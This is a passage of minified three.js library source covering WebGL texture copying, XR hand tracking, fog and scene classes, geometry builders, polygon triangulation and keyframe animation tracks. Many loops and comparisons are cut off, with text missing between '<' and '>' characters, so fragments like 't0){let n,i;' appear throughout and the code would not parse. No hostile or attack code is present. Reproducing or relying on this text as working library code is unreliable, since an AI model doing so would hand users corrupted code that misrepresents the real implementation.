type.");36053===gt.checkFramebufferStatus(36160)?e>=0&&e<=t.width-i&&n>=0&&n<=t.height-r&>.readPixels(e,n,i,r,pt.convert(o),pt.convert(l),s):console.error("THREE.WebGLRenderer.readRenderTargetPixels: readPixels from renderTarget failed. Framebuffer not complete.")}finally{const t=null!==_?Z.get(_).__webglFramebuffer:null;q.bindFramebuffer(36160,t)}}},this.copyFramebufferToTexture=function(t,e,n=0){const i=Math.pow(2,-n),r=Math.floor(e.image.width*i),s=Math.floor(e.image.height*i),a=pt.convert(e.format);J.setTexture2D(e,0),gt.copyTexImage2D(3553,n,a,t.x,t.y,r,s,0),q.unbindTexture()},this.copyTextureToTexture=function(t,e,n,i=0){const r=e.image.width,s=e.image.height,a=pt.convert(n.format),o=pt.convert(n.type);J.setTexture2D(n,0),gt.pixelStorei(37440,n.flipY),gt.pixelStorei(37441,n.premultiplyAlpha),gt.pixelStorei(3317,n.unpackAlignment),e.isDataTexture?gt.texSubImage2D(3553,i,t.x,t.y,r,s,a,o,e.image.data):e.isCompressedTexture?gt.compressedTexSubImage2D(3553,i,t.x,t.y,e.mipmaps[0].width,e.mipmaps[0].height,a,e.mipmaps[0].data):gt.texSubImage2D(3553,i,t.x,t.y,a,o,e.image),0===i&&n.generateMipmaps&>.generateMipmap(3553),q.unbindTexture()},this.copyTextureToTexture3D=function(t,e,n,i,r=0){if(m.isWebGL1Renderer)return void console.warn("THREE.WebGLRenderer.copyTextureToTexture3D: can only be used with WebGL2.");const{width:s,height:a,data:o}=n.image,l=pt.convert(i.format),c=pt.convert(i.type);let h;if(i.isDataTexture3D)J.setTexture3D(i,0),h=32879;else{if(!i.isDataTexture2DArray)return void console.warn("THREE.WebGLRenderer.copyTextureToTexture3D: only supports THREE.DataTexture3D and THREE.DataTexture2DArray.");J.setTexture2DArray(i,0),h=35866}gt.pixelStorei(37440,i.flipY),gt.pixelStorei(37441,i.premultiplyAlpha),gt.pixelStorei(3317,i.unpackAlignment);const u=gt.getParameter(3314),d=gt.getParameter(32878),p=gt.getParameter(3316),f=gt.getParameter(3315),g=gt.getParameter(32877);gt.pixelStorei(3314,s),gt.pixelStorei(32878,a),gt.pixelStorei(3316,t.min.x),gt.pixelStorei(3315,t.min.y),gt.pixelStorei(32877,t.min.z),gt.texSubImage3D(h,r,e.x,e.y,e.z,t.max.x-t.min.x+1,t.max.y-t.min.y+1,t.max.z-t.min.z+1,l,c,o),gt.pixelStorei(3314,u),gt.pixelStorei(32878,d),gt.pixelStorei(3316,p),gt.pixelStorei(3315,f),gt.pixelStorei(32877,g),0===r&&i.generateMipmaps&>.generateMipmap(h),q.unbindTexture()},this.initTexture=function(t){J.setTexture2D(t,0),q.unbindTexture()},this.resetState=function(){v=0,y=0,_=null,q.reset(),ft.reset()},"undefined"!=typeof __THREE_DEVTOOLS__&&__THREE_DEVTOOLS__.dispatchEvent(new CustomEvent("observe",{detail:this}))}os.prototype.isGroup=!0,Object.assign(ls.prototype,{constructor:ls,getHandSpace:function(){return null===this._hand&&(this._hand=new os,this._hand.matrixAutoUpdate=!1,this._hand.visible=!1,this._hand.joints={},this._hand.inputState={pinching:!1}),this._hand},getTargetRaySpace:function(){return null===this._targetRay&&(this._targetRay=new os,this._targetRay.matrixAutoUpdate=!1,this._targetRay.visible=!1),this._targetRay},getGripSpace:function(){return null===this._grip&&(this._grip=new os,this._grip.matrixAutoUpdate=!1,this._grip.visible=!1),this._grip},dispatchEvent:function(t){return null!==this._targetRay&&this._targetRay.dispatchEvent(t),null!==this._grip&&this._grip.dispatchEvent(t),null!==this._hand&&this._hand.dispatchEvent(t),this},disconnect:function(t){return this.dispatchEvent({type:"disconnected",data:t}),null!==this._targetRay&&(this._targetRay.visible=!1),null!==this._grip&&(this._grip.visible=!1),null!==this._hand&&(this._hand.visible=!1),this},update:function(t,e,n){let i=null,r=null,s=null;const a=this._targetRay,o=this._grip,l=this._hand;if(t&&"visible-blurred"!==e.session.visibilityState)if(null!==a&&(i=e.getPose(t.targetRaySpace,n),null!==i&&(a.matrix.fromArray(i.transform.matrix),a.matrix.decompose(a.position,a.rotation,a.scale))),l&&t.hand){s=!0;for(const i of t.hand.values()){const t=e.getJointPose(i,n);if(void 0===l.joints[i.jointName]){const t=new os;t.matrixAutoUpdate=!1,t.visible=!1,l.joints[i.jointName]=t,l.add(t)}const r=l.joints[i.jointName];null!==t&&(r.matrix.fromArray(t.transform.matrix),r.matrix.decompose(r.position,r.rotation,r.scale),r.jointRadius=t.radius),r.visible=null!==t}const i=l.joints["index-finger-tip"],r=l.joints["thumb-tip"],a=i.position.distanceTo(r.position),o=.02,c=.005;l.inputState.pinching&&a>o+c?(l.inputState.pinching=!1,this.dispatchEvent({type:"pinchend",handedness:t.handedness,target:this})):!l.inputState.pinching&&a<=o-c&&(l.inputState.pinching=!0,this.dispatchEvent({type:"pinchstart",handedness:t.handedness,target:this}))}else null!==o&&t.gripSpace&&(r=e.getPose(t.gripSpace,n),null!==r&&(o.matrix.fromArray(r.transform.matrix),o.matrix.decompose(o.position,o.rotation,o.scale)));return null!==a&&(a.visible=null!==i),null!==o&&(o.visible=null!==r),null!==l&&(l.visible=null!==s),this}}),Object.assign(cs.prototype,rt.prototype);class ds extends us{}ds.prototype.isWebGL1Renderer=!0;class ps{constructor(t,e=25e-5){this.name="",this.color=new je(t),this.density=e}clone(){return new ps(this.color,this.density)}toJSON(){return{type:"FogExp2",color:this.color.getHex(),density:this.density}}}ps.prototype.isFogExp2=!0;class fs{constructor(t,e=1,n=1e3){this.name="",this.color=new je(t),this.near=e,this.far=n}clone(){return new fs(this.color,this.near,this.far)}toJSON(){return{type:"Fog",color:this.color.getHex(),near:this.near,far:this.far}}}fs.prototype.isFog=!0;class ms extends be{constructor(){super(),this.type="Scene",this.background=null,this.environment=null,this.fog=null,this.overrideMaterial=null,this.autoUpdate=!0,"undefined"!=typeof __THREE_DEVTOOLS__&&__THREE_DEVTOOLS__.dispatchEvent(new CustomEvent("observe",{detail:this}))}copy(t,e){return super.copy(t,e),null!==t.background&&(this.background=t.background.clone()),null!==t.environment&&(this.environment=t.environment.clone()),null!==t.fog&&(this.fog=t.fog.clone()),null!==t.overrideMaterial&&(this.overrideMaterial=t.overrideMaterial.clone()),this.autoUpdate=t.autoUpdate,this.matrixAutoUpdate=t.matrixAutoUpdate,this}toJSON(t){const e=super.toJSON(t);return null!==this.background&&(e.object.background=this.background.toJSON(t)),null!==this.environment&&(e.object.environment=this.environment.toJSON(t)),null!==this.fog&&(e.object.fog=this.fog.toJSON()),e}}function gs(t,e){this.array=t,this.stride=e,this.count=void 0!==t?t.length/e:0,this.usage=et,this.updateRange={offset:0,count:-1},this.version=0,this.uuid=ot.generateUUID()}ms.prototype.isScene=!0,Object.defineProperty(gs.prototype,"needsUpdate",{set:function(t){!0===t&&this.version++}}),Object.assign(gs.prototype,{isInterleavedBuffer:!0,onUploadCallback:function(){},setUsage:function(t){return this.usage=t,this},copy:function(t){return this.array=new t.array.constructor(t.array),this.count=t.count,this.stride=t.stride,this.usage=t.usage,this},copyAt:function(t,e,n){t*=this.stride,n*=e.stride;for(let i=0,r=this.stride;it.far||e.push({distance:o,point:bs.clone(),uv:Oe.getUV(bs,As,Ls,Rs,Cs,Ps,Ds,new lt),face:null,object:this})}copy(t){return super.copy(t),void 0!==t.center&&this.center.copy(t.center),this.material=t.material,this}}function Ns(t,e,n,i,r,s){Ss.subVectors(t,n).addScalar(.5).multiply(i),void 0!==r?(Ts.x=s*Ss.x-r*Ss.y,Ts.y=r*Ss.x+s*Ss.y):Ts.copy(Ss),t.copy(e),t.x+=Ts.x,t.y+=Ts.y,t.applyMatrix4(Es)}Is.prototype.isSprite=!0;const Bs=new xt,Os=new xt;class zs extends be{constructor(){super(),this._currentLevel=0,this.type="LOD",Object.defineProperties(this,{levels:{enumerable:!0,value:[]},isLOD:{value:!0}}),this.autoUpdate=!0}copy(t){super.copy(t,!1);const e=t.levels;for(let t=0,n=e.length;t0){let n,i;for(n=1,i=e.length;n0){Bs.setFromMatrixPosition(this.matrixWorld);const n=t.ray.origin.distanceTo(Bs);this.getObjectForDistance(n).raycast(t,e)}}update(t){const e=this.levels;if(e.length>1){Bs.setFromMatrixPosition(t.matrixWorld),Os.setFromMatrixPosition(this.matrixWorld);const n=Bs.distanceTo(Os)/t.zoom;let i,r;for(e[0].object.visible=!0,i=1,r=e.length;i=e[i].distance;i++)e[i-1].object.visible=!1,e[i].object.visible=!0;for(this._currentLevel=i-1;io)continue;u.applyMatrix4(this.matrixWorld);const d=t.ray.origin.distanceTo(u);dt.far||e.push({distance:d,point:h.clone().applyMatrix4(this.matrixWorld),index:n,face:null,faceIndex:null,object:this})}}else{for(let n=Math.max(0,s.start),i=Math.min(r.count,s.start+s.count)-1;no)continue;u.applyMatrix4(this.matrixWorld);const i=t.ray.origin.distanceTo(u);it.far||e.push({distance:i,point:h.clone().applyMatrix4(this.matrixWorld),index:n,face:null,faceIndex:null,object:this})}}}else n.isGeometry&&console.error("THREE.Line.raycast() no longer supports THREE.Geometry. Use THREE.BufferGeometry instead.")},updateMorphTargets:function(){const t=this.geometry;if(t.isBufferGeometry){const e=t.morphAttributes,n=Object.keys(e);if(n.length>0){const t=e[n[0]];if(void 0!==t){this.morphTargetInfluences=[],this.morphTargetDictionary={};for(let e=0,n=t.length;e0&&console.error("THREE.Line.updateMorphTargets() does not support THREE.Geometry. Use THREE.BufferGeometry instead.")}}});const aa=new xt,oa=new xt;function la(t,e){sa.call(this,t,e),this.type="LineSegments"}la.prototype=Object.assign(Object.create(sa.prototype),{constructor:la,isLineSegments:!0,computeLineDistances:function(){const t=this.geometry;if(t.isBufferGeometry)if(null===t.index){const e=t.attributes.position,n=[];for(let t=0,i=e.count;tr.far)return;s.push({distance:l,distanceToRay:Math.sqrt(o),point:n,index:e,face:null,object:a})}}ma.prototype=Object.assign(Object.create(be.prototype),{constructor:ma,isPoints:!0,copy:function(t){return be.prototype.copy.call(this,t),this.material=t.material,this.geometry=t.geometry,this},raycast:function(t,e){const n=this.geometry,i=this.matrixWorld,r=t.params.Points.threshold,s=n.drawRange;if(null===n.boundingSphere&&n.computeBoundingSphere(),pa.copy(n.boundingSphere),pa.applyMatrix4(i),pa.radius+=r,!1===t.ray.intersectsSphere(pa))return;ua.copy(i).invert(),da.copy(t.ray).applyMatrix4(ua);const a=r/((this.scale.x+this.scale.y+this.scale.z)/3),o=a*a;if(n.isBufferGeometry){const r=n.index,a=n.attributes.position;if(null!==r){for(let n=Math.max(0,s.start),l=Math.min(r.count,s.start+s.count);n0){const t=e[n[0]];if(void 0!==t){this.morphTargetInfluences=[],this.morphTargetDictionary={};for(let e=0,n=t.length;e0&&console.error("THREE.Points.updateMorphTargets() does not support THREE.Geometry. Use THREE.BufferGeometry instead.")}}});class va extends pt{constructor(t,e,n,i,r,s,a,o,l){super(t,e,n,i,r,s,a,o,l),this.format=void 0!==a?a:T,this.minFilter=void 0!==s?s:g,this.magFilter=void 0!==r?r:g,this.generateMipmaps=!1;const c=this;"requestVideoFrameCallback"in t&&t.requestVideoFrameCallback((function e(){c.needsUpdate=!0,t.requestVideoFrameCallback(e)}))}clone(){return new this.constructor(this.image).copy(this)}update(){const t=this.image;!1==="requestVideoFrameCallback"in t&&t.readyState>=t.HAVE_CURRENT_DATA&&(this.needsUpdate=!0)}}va.prototype.isVideoTexture=!0;class ya extends pt{constructor(t,e,n,i,r,s,a,o,l,c,h,u){super(null,s,a,o,l,c,i,r,h,u),this.image={width:e,height:n},this.mipmaps=t,this.flipY=!1,this.generateMipmaps=!1}}ya.prototype.isCompressedTexture=!0;class xa extends pt{constructor(t,e,n,i,r,s,a,o,l){super(t,e,n,i,r,s,a,o,l),this.needsUpdate=!0}}xa.prototype.isCanvasTexture=!0;class _a extends pt{constructor(t,e,n,i,r,s,a,o,l,c){if((c=void 0!==c?c:A)!==A&&c!==L)throw new Error("DepthTexture format must be either THREE.DepthFormat or THREE.DepthStencilFormat");void 0===n&&c===A&&(n=_),void 0===n&&c===L&&(n=S),super(null,i,r,s,a,o,c,n,l),this.image={width:t,height:e},this.magFilter=void 0!==a?a:p,this.minFilter=void 0!==o?o:p,this.flipY=!1,this.generateMipmaps=!1}}_a.prototype.isDepthTexture=!0;class ba extends vn{constructor(t=1,e=8,n=0,i=2*Math.PI){super(),this.type="CircleGeometry",this.parameters={radius:t,segments:e,thetaStart:n,thetaLength:i},e=Math.max(3,e);const r=[],s=[],a=[],o=[],l=new xt,c=new lt;s.push(0,0,0),a.push(0,0,1),o.push(.5,.5);for(let r=0,h=3;r<=e;r++,h+=3){const u=n+r/e*i;l.x=t*Math.cos(u),l.y=t*Math.sin(u),s.push(l.x,l.y,l.z),a.push(0,0,1),c.x=(s[h]/t+1)/2,c.y=(s[h+1]/t+1)/2,o.push(c.x,c.y)}for(let t=1;t<=e;t++)r.push(t,t+1,0);this.setIndex(r),this.setAttribute("position",new sn(s,3)),this.setAttribute("normal",new sn(a,3)),this.setAttribute("uv",new sn(o,2))}}class wa extends vn{constructor(t=1,e=1,n=1,i=8,r=1,s=!1,a=0,o=2*Math.PI){super(),this.type="CylinderGeometry",this.parameters={radiusTop:t,radiusBottom:e,height:n,radialSegments:i,heightSegments:r,openEnded:s,thetaStart:a,thetaLength:o};const l=this;i=Math.floor(i),r=Math.floor(r);const c=[],h=[],u=[],d=[];let p=0;const f=[],m=n/2;let g=0;function v(n){const r=p,s=new lt,f=new xt;let v=0;const y=!0===n?t:e,x=!0===n?1:-1;for(let t=1;t<=i;t++)h.push(0,m*x,0),u.push(0,x,0),d.push(.5,.5),p++;const _=p;for(let t=0;t<=i;t++){const e=t/i*o+a,n=Math.cos(e),r=Math.sin(e);f.x=y*r,f.y=m*x,f.z=y*n,h.push(f.x,f.y,f.z),u.push(0,x,0),s.x=.5*n+.5,s.y=.5*r*x+.5,d.push(s.x,s.y),p++}for(let t=0;t0&&v(!0),e>0&&v(!1)),this.setIndex(c),this.setAttribute("position",new sn(h,3)),this.setAttribute("normal",new sn(u,3)),this.setAttribute("uv",new sn(d,2))}}class Ma extends wa{constructor(t=1,e=1,n=8,i=1,r=!1,s=0,a=2*Math.PI){super(0,t,e,n,i,r,s,a),this.type="ConeGeometry",this.parameters={radius:t,height:e,radialSegments:n,heightSegments:i,openEnded:r,thetaStart:s,thetaLength:a}}}class Sa extends vn{constructor(t,e,n=1,i=0){super(),this.type="PolyhedronGeometry",this.parameters={vertices:t,indices:e,radius:n,detail:i};const r=[],s=[];function a(t,e,n,i){const r=i+1,s=[];for(let i=0;i<=r;i++){s[i]=[];const a=t.clone().lerp(n,i/r),o=e.clone().lerp(n,i/r),l=r-i;for(let t=0;t<=l;t++)s[i][t]=0===t&&i===r?a:a.clone().lerp(o,t/l)}for(let t=0;t.9&&a<.1&&(e<.2&&(s[t+0]+=1),n<.2&&(s[t+2]+=1),i<.2&&(s[t+4]+=1))}}()}(),this.setAttribute("position",new sn(r,3)),this.setAttribute("normal",new sn(r.slice(),3)),this.setAttribute("uv",new sn(s,2)),0===i?this.computeVertexNormals():this.normalizeNormals()}}class Ta extends Sa{constructor(t=1,e=0){const n=(1+Math.sqrt(5))/2,i=1/n;super([-1,-1,-1,-1,-1,1,-1,1,-1,-1,1,1,1,-1,-1,1,-1,1,1,1,-1,1,1,1,0,-i,-n,0,-i,n,0,i,-n,0,i,n,-i,-n,0,-i,n,0,i,-n,0,i,n,0,-n,0,-i,n,0,-i,-n,0,i,n,0,i],[3,11,7,3,7,15,3,15,13,7,19,17,7,17,6,7,6,15,17,4,8,17,8,10,17,10,6,8,0,16,8,16,2,8,2,10,0,12,1,0,1,18,0,18,16,6,10,2,6,2,13,6,13,15,2,16,18,2,18,3,2,3,13,18,1,9,18,9,11,18,11,3,4,14,12,4,12,0,4,0,8,11,9,5,11,5,19,11,19,7,19,5,14,19,14,4,19,4,17,1,12,14,1,14,5,1,5,9],t,e),this.type="DodecahedronGeometry",this.parameters={radius:t,detail:e}}}const Ea=new xt,Aa=new xt,La=new xt,Ra=new Oe;class Ca extends vn{constructor(t,e){if(super(),this.type="EdgesGeometry",this.parameters={thresholdAngle:e},e=void 0!==e?e:1,!0===t.isGeometry)return void console.error("THREE.EdgesGeometry no longer supports THREE.Geometry. Use THREE.BufferGeometry instead.");const n=Math.pow(10,4),i=Math.cos(ot.DEG2RAD*e),r=t.getIndex(),s=t.getAttribute("position"),a=r?r.count:s.count,o=[0,0,0],l=["a","b","c"],c=new Array(3),h={},u=[];for(let t=0;t80*n){o=c=t[0],l=h=t[1];for(let e=n;ec&&(c=u),d>h&&(h=d);p=Math.max(c-o,h-l),p=0!==p?1/p:0}return Na(s,a,n,o,l,p),a};function Da(t,e,n,i,r){let s,a;if(r===function(t,e,n,i){let r=0;for(let s=e,a=n-i;s0)for(s=e;s=e;s-=i)a=$a(s,t[s],t[s+1],a);return a&&Xa(a,a.next)&&(to(a),a=a.next),a}function Ia(t,e){if(!t)return t;e||(e=t);let n,i=t;do{if(n=!1,i.steiner||!Xa(i,i.next)&&0!==qa(i.prev,i,i.next))i=i.next;else{if(to(i),i=e=i.prev,i===i.next)break;n=!0}}while(n||i!==e);return e}function Na(t,e,n,i,r,s,a){if(!t)return;!a&&s&&function(t,e,n,i){let r=t;do{null===r.z&&(r.z=ka(r.x,r.y,e,n,i)),r.prevZ=r.prev,r.nextZ=r.next,r=r.next}while(r!==t);r.prevZ.nextZ=null,r.prevZ=null,function(t){let e,n,i,r,s,a,o,l,c=1;do{for(n=t,t=null,s=null,a=0;n;){for(a++,i=n,o=0,e=0;e0||l>0&&i;)0!==o&&(0===l||!i||n.z<=i.z)?(r=n,n=n.nextZ,o--):(r=i,i=i.nextZ,l--),s?s.nextZ=r:t=r,r.prevZ=s,s=r;n=i}s.nextZ=null,c*=2}while(a>1)}(r)}(t,i,r,s);let o,l,c=t;for(;t.prev!==t.next;)if(o=t.prev,l=t.next,s?Oa(t,i,r,s):Ba(t))e.push(o.i/n),e.push(t.i/n),e.push(l.i/n),to(t),t=l.next,c=l.next;else if((t=l)===c){a?1===a?Na(t=za(Ia(t),e,n),e,n,i,r,s,2):2===a&&Fa(t,e,n,i,r,s):Na(Ia(t),e,n,i,r,s,1);break}}function Ba(t){const e=t.prev,n=t,i=t.next;if(qa(e,n,i)>=0)return!1;let r=t.next.next;for(;r!==t.prev;){if(Wa(e.x,e.y,n.x,n.y,i.x,i.y,r.x,r.y)&&qa(r.prev,r,r.next)>=0)return!1;r=r.next}return!0}function Oa(t,e,n,i){const r=t.prev,s=t,a=t.next;if(qa(r,s,a)>=0)return!1;const o=r.xs.x?r.x>a.x?r.x:a.x:s.x>a.x?s.x:a.x,h=r.y>s.y?r.y>a.y?r.y:a.y:s.y>a.y?s.y:a.y,u=ka(o,l,e,n,i),d=ka(c,h,e,n,i);let p=t.prevZ,f=t.nextZ;for(;p&&p.z>=u&&f&&f.z<=d;){if(p!==t.prev&&p!==t.next&&Wa(r.x,r.y,s.x,s.y,a.x,a.y,p.x,p.y)&&qa(p.prev,p,p.next)>=0)return!1;if(p=p.prevZ,f!==t.prev&&f!==t.next&&Wa(r.x,r.y,s.x,s.y,a.x,a.y,f.x,f.y)&&qa(f.prev,f,f.next)>=0)return!1;f=f.nextZ}for(;p&&p.z>=u;){if(p!==t.prev&&p!==t.next&&Wa(r.x,r.y,s.x,s.y,a.x,a.y,p.x,p.y)&&qa(p.prev,p,p.next)>=0)return!1;p=p.prevZ}for(;f&&f.z<=d;){if(f!==t.prev&&f!==t.next&&Wa(r.x,r.y,s.x,s.y,a.x,a.y,f.x,f.y)&&qa(f.prev,f,f.next)>=0)return!1;f=f.nextZ}return!0}function za(t,e,n){let i=t;do{const r=i.prev,s=i.next.next;!Xa(r,s)&&Ya(r,i,i.next,s)&&Qa(r,s)&&Qa(s,r)&&(e.push(r.i/n),e.push(i.i/n),e.push(s.i/n),to(i),to(i.next),i=t=s),i=i.next}while(i!==t);return Ia(i)}function Fa(t,e,n,i,r,s){let a=t;do{let t=a.next.next;for(;t!==a.prev;){if(a.i!==t.i&&ja(a,t)){let o=Ka(a,t);return a=Ia(a,a.next),o=Ia(o,o.next),Na(a,e,n,i,r,s),void Na(o,e,n,i,r,s)}t=t.next}a=a.next}while(a!==t)}function Ha(t,e){return t.x-e.x}function Ua(t,e){if(e=function(t,e){let n=e;const i=t.x,r=t.y;let s,a=-1/0;do{if(r<=n.y&&r>=n.next.y&&n.next.y!==n.y){const t=n.x+(r-n.y)*(n.next.x-n.x)/(n.next.y-n.y);if(t<=i&&t>a){if(a=t,t===i){if(r===n.y)return n;if(r===n.next.y)return n.next}s=n.x=n.x&&n.x>=l&&i!==n.x&&Wa(rs.x||n.x===s.x&&Ga(s,n)))&&(s=n,u=h)),n=n.next}while(n!==o);return s}(t,e)){const n=Ka(e,t);Ia(e,e.next),Ia(n,n.next)}}function Ga(t,e){return qa(t.prev,t,e.prev)<0&&qa(e.next,t,t.next)<0}function ka(t,e,n,i,r){return(t=1431655765&((t=858993459&((t=252645135&((t=16711935&((t=32767*(t-n)*r)|t<<8))|t<<4))|t<<2))|t<<1))|(e=1431655765&((e=858993459&((e=252645135&((e=16711935&((e=32767*(e-i)*r)|e<<8))|e<<4))|e<<2))|e<<1))<<1}function Va(t){let e=t,n=t;do{(e.x=0&&(t-a)*(i-o)-(n-a)*(e-o)>=0&&(n-a)*(s-o)-(r-a)*(i-o)>=0}function ja(t,e){return t.next.i!==e.i&&t.prev.i!==e.i&&!function(t,e){let n=t;do{if(n.i!==t.i&&n.next.i!==t.i&&n.i!==e.i&&n.next.i!==e.i&&Ya(n,n.next,t,e))return!0;n=n.next}while(n!==t);return!1}(t,e)&&(Qa(t,e)&&Qa(e,t)&&function(t,e){let n=t,i=!1;const r=(t.x+e.x)/2,s=(t.y+e.y)/2;do{n.y>s!=n.next.y>s&&n.next.y!==n.y&&r<(n.next.x-n.x)*(s-n.y)/(n.next.y-n.y)+n.x&&(i=!i),n=n.next}while(n!==t);return i}(t,e)&&(qa(t.prev,t,e.prev)||qa(t,e.prev,e))||Xa(t,e)&&qa(t.prev,t,t.next)>0&&qa(e.prev,e,e.next)>0)}function qa(t,e,n){return(e.y-t.y)*(n.x-e.x)-(e.x-t.x)*(n.y-e.y)}function Xa(t,e){return t.x===e.x&&t.y===e.y}function Ya(t,e,n,i){const r=Ja(qa(t,e,n)),s=Ja(qa(t,e,i)),a=Ja(qa(n,i,t)),o=Ja(qa(n,i,e));return r!==s&&a!==o||(!(0!==r||!Za(t,n,e))||(!(0!==s||!Za(t,i,e))||(!(0!==a||!Za(n,t,i))||!(0!==o||!Za(n,e,i)))))}function Za(t,e,n){return e.x<=Math.max(t.x,n.x)&&e.x>=Math.min(t.x,n.x)&&e.y<=Math.max(t.y,n.y)&&e.y>=Math.min(t.y,n.y)}function Ja(t){return t>0?1:t<0?-1:0}function Qa(t,e){return qa(t.prev,t,t.next)<0?qa(t,e,t.next)>=0&&qa(t,t.prev,e)>=0:qa(t,e,t.prev)<0||qa(t,t.next,e)<0}function Ka(t,e){const n=new eo(t.i,t.x,t.y),i=new eo(e.i,e.x,e.y),r=t.next,s=e.prev;return t.next=e,e.prev=t,n.next=r,r.prev=n,i.next=n,n.prev=i,s.next=i,i.prev=s,i}function $a(t,e,n,i){const r=new eo(t,e,n);return i?(r.next=i.next,r.prev=i,i.next.prev=r,i.next=r):(r.prev=r,r.next=r),r}function to(t){t.next.prev=t.prev,t.prev.next=t.next,t.prevZ&&(t.prevZ.nextZ=t.nextZ),t.nextZ&&(t.nextZ.prevZ=t.prevZ)}function eo(t,e,n){this.i=t,this.x=e,this.y=n,this.prev=null,this.next=null,this.z=null,this.prevZ=null,this.nextZ=null,this.steiner=!1}const no={area:function(t){const e=t.length;let n=0;for(let i=e-1,r=0;r2&&t[e-1].equals(t[0])&&t.pop()}function ro(t,e){for(let n=0;nNumber.EPSILON){const u=Math.sqrt(h),d=Math.sqrt(l*l+c*c),p=e.x-o/u,f=e.y+a/u,m=((n.x-c/d-p)*c-(n.y+l/d-f)*l)/(a*c-o*l);i=p+a*m-t.x,r=f+o*m-t.y;const g=i*i+r*r;if(g<=2)return new lt(i,r);s=Math.sqrt(g/2)}else{let t=!1;a>Number.EPSILON?l>Number.EPSILON&&(t=!0):a<-Number.EPSILON?l<-Number.EPSILON&&(t=!0):Math.sign(o)===Math.sign(c)&&(t=!0),t?(i=-o,r=a,s=Math.sqrt(h)):(i=a,r=o,s=Math.sqrt(h/2))}return new lt(i/s,r/s)}const P=[];for(let t=0,e=E.length,n=e-1,i=t+1;t=0;t--){const e=t/p,n=h*Math.cos(e*Math.PI/2),i=u*Math.sin(e*Math.PI/2)+d;for(let t=0,e=E.length;t=0;){const i=n;let r=n-1;r<0&&(r=t.length-1);for(let t=0,n=o+2*p;t=0?(t(i-o,p,h),u.subVectors(c,h)):(t(i+o,p,h),u.subVectors(h,c)),p-o>=0?(t(i,p-o,h),d.subVectors(c,h)):(t(i,p+o,h),d.subVectors(h,c)),l.crossVectors(u,d).normalize(),s.push(l.x,l.y,l.z),a.push(i,p)}}for(let t=0;t0)&&d.push(e,r,l),(t!==n-1||o=i)){l.push(e.times[t]);for(let n=0;ns.tracks[t].times[0]&&(o=s.tracks[t].times[0]);for(let t=0;t=i.times[u]){const t=u*l+o,e=t+l-o;d=Io.arraySlice(i.values,t,e)}else{const t=i.createInterpolant(),e=o,n=l-o;t.evaluate(s),d=Io.arraySlice(t.resultBuffer,e,n)}if("quaternion"===r){(new yt).fromArray(d).normalize().conjugate().toArray(d)}const p=a.times.length;for(let t=0;t=r)break t;{const a=e[1];t=r)break e}s=n,n=0}}for(;n>>1;te;)--s;if(++s,0!==r||s!==i){r>=s&&(s=Math.max(s,1),r=s-1);const t=this.getValueSize();this.times=Io.arraySlice(n,r,s),this.values=Io.arraySlice(this.values,r*t,s*t)}return this}validate(){let t=!0;const e=this.getValueSize();e-Math.floor(e)!=0&&(console.error("THREE.KeyframeTrack: Invalid value size in track.",this),t=!1);const n=this.times,i=this.values,r=n.length;0===r&&(console.error("THREE.KeyframeTrack: Track is empty.",this),t=!1);let s=null;for(let e=0;e!==r;e++){const i=n[e];if("number"==typeof i&&isNaN(i)){console.error("THREE.KeyframeTrack: Time is not a valid number.",this,e,i),t=!1;break}if(null!==s&&s>i){console.error("THREE.KeyframeTrack: Out of order keys.",this,e,i,s),t=!1;break}s=i}if(void 0!==i&&Io.isTypedArray(i))for(let e=0,n=i.length;e!==n;++e){const n=i[e];if(isNaN(n)){console.error("THREE.KeyframeTrack: Value is not a valid number.",this,e,n),t=!1;break}}return t}optimize(){const t=Io.arraySlice(this.times),e=Io.arraySlice(this.values),n=this.getValueSize(),i=this.getInterpolation()===G,r=t.length-1;let s=1;for(let a=1;a0){t[s]=t[r];for(let t=r*n,i=s*n,a=0;a!==n;++a)e[i+a]=e[t+a];++s}return s!==t.length?(this.times=Io.arraySlice(t,0,s),this.values=Io.arraySlice(e,0,s*n)):(this.times=t,this.values=e),this}clone(){const t=Io.arraySlice(this.times,0),e=Io.arraySlice(this.values,0),n=new(0,this.constructor)(this.name,t,e);return n.createInterpolant=this.createInterpolant,n}}Fo.prototype.TimeBufferType=Float32Array,Fo.prototype.ValueBufferType=Float32Array,Fo.prototype.DefaultInterpolation=U;class Ho extends Fo{}Ho.prototype.ValueTypeName="bool",Ho.prototype.ValueBufferType=Array,Ho.prototype.DefaultInterpolation=H,Ho.prototype.InterpolantFactoryMethodLinear=void 0,Ho.prototype.InterpolantFactoryMethodSmooth=void 0;class Uo extends Fo{}Uo.prototype.ValueTypeName="color";class Go extends Fo{}function ko(t,e,n,i){No.call(this,t,e,n,i)}Go.prototype.ValueTypeName="number",ko.prototype=Object.assign(Object.create(No.prototype),{constructor:ko,interpolate_:function(t,e,n,i){const r=this.resultBuffer,s=this.sampleValues,a=this.valueSize,o=(n-e)/(i-e);let l=t*a;for(let t=l+a;l!==t;l+=4)yt.slerpFlat(r,0,s,l-a,s,l,o);return r}});class Vo extends Fo{InterpolantFactoryMethodLinear(t){return new ko(this.times,this.values,this.getValueSize(),t)}}Vo.prototype.ValueTypeName="quaternion",Vo.prototype.DefaultInterpolation=U,Vo.prototype.InterpolantFactoryMethodSmooth=void 0;class Wo extends Fo{}Wo.prototype.ValueTypeName="string",Wo.prototype.ValueBufferType=Array,Wo.prototype.DefaultInterpolation=H,Wo.prototype.InterpolantFactoryMethodLinear=void 0,Wo.prototype.InterpolantFactoryMethodSmooth=void 0;class jo extends Fo{}jo.prototype.ValueTypeName="vector";class qo{constructor(t,e=-1,n,i=2500){this.name=t,this.tracks=n,this.duration=e,this.blendMode=i,this.uuid=ot.generateUUID(),this.duration<0&&this.resetDuration()}static parse(t){const e=[],n=t.tracks,i=1/(t.fps||1);for(let t=0,r=n.length;t!==r;++t)e.push(Xo(n[t]).scale(i));const r=new this(t.name,t.duration,e,t.blendMode);return r.uuid=t.uuid,r}static toJSON(t){const e=[],n=t.tracks,i={name:t.name,duration:t.duration,tracks:e,uuid:t.uuid,blendMode:t.blendMode};for(let t=0,i=n.length;t!==i;++t)e.push(Fo.toJSON(n[t]));return i}static CreateFromMorphTargetSequence(t,e,n,i){const r=e.length,s=[];for(let t=0;t1){const t=s[1];let e=i[t];e||(i[t]=e=[]),e.push(n)}}const s=[];for(const t in i)s.push(this.CreateFromMorphTargetSequence(t,i[t],e,n));return s}static parseAnimation(t,e){if(!t)return console.error("THREE.AnimationClip: No animation in JSONLoader data."),null;const n=function(t,e,n,i,r){if(0!==n.length){const s=[],a=[];Io.flattenJSON(n,s,a,i),0!==s.length&&r.push(new 